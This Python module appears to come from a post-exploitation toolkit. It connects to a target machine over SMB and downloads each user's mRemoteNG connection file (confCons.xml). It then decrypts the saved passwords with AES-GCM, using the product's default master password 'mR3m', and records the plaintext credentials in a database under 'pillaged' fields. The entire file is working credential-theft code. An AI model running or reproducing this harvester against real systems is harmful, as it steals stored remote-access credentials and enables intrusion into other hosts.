#!/usr/bin/env python # coding:utf-8 # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. #From : https://github.com/haseebT/mRemoteNG-Decrypt/blob/master/mremoteng_decrypt.py import ntpath from lib.toolbox import bcolors import hashlib import base64 from Cryptodome.Cipher import AES import xml.etree.ElementTree as ET class mRemoteNG(): def __init__(self,smb,myregops,myfileops,logger,options,db,users): self.myregops = myregops self.myfileops = myfileops self.logging = logger self.options = options self.db = db self.users = users self.smb = smb def run(self): self.get_files() #self.process_files() #self.decrypt_all() def get_files(self): self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering mRemoteNG Secrets {bcolors.ENDC}") blacklist = ['.', '..'] user_directories = [("Users\\{username}\\AppData\\Local\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config')), ("Users\\{username}\\AppData\\Roaming\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config'))] machine_directories = [("Program Files (x86)\\mRemoteNG\\", 'mRemoteNG.exe.config'), ("PROGRAMFILES\\mRemoteNG\\", 'mRemoteNG.exe.config'), ] for user in self.users: self.logging.debug( f"[{self.options.target_ip}] Looking for {user.username} ") if user.username == 'MACHINE$': continue #directories_to_use = machine_directories else: directories_to_use = user_directories for info in directories_to_use: my_dir, my_mask = info tmp_pwd = my_dir.format(username=user.username) self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") for mask in my_mask: my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) for infos in my_directory: longname, is_directory = infos self.logging.debug("ls returned file %s" % longname) if longname not in blacklist and not is_directory: try: # Downloading file localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) self.process_file(localfile,user.username) except Exception as ex: self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") self.logging.debug(ex) def print_infos(self, node,username): try: name = node.attrib['Name'] username_ = node.attrib['Domain'] + '\\' + node.attrib['Username'] destination = node.attrib['Protocol'] + '://' + node.attrib['Hostname'] + ':' + node.attrib['Port'] encrypted_password = node.attrib['Password'] encrypted_data = encrypted_password.strip() encrypted_data = base64.b64decode(encrypted_data) self.logging.debug( f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{name}:{username_} @ {destination} : {encrypted_password}{bcolors.ENDC}") salt = encrypted_data[:16] associated_data = encrypted_data[:16] nonce = encrypted_data[16:32] ciphertext = encrypted_data[32:-16] tag = encrypted_data[-16:] default_password = "mR3m" if ciphertext != b'': key = hashlib.pbkdf2_hmac("sha1", default_password.encode(), salt, 1000, dklen=32) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) cipher.update(associated_data) plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8') self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}") self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}") self.logging.debug(ex) def print_recur(self, node,username): if node.tag == 'Node': self.print_infos(node,username) for elem in list(node): try: self.print_recur(elem,username) except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG element {elem}{bcolors.ENDC}") self.logging.debug(ex) continue def process_file(self,localfile,username): try: if "confCons.xml" in localfile: tree = ET.parse(localfile) root = tree.getroot() for node in list(root): self.print_recur(node,username) return 0 except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}") self.logging.debug(ex)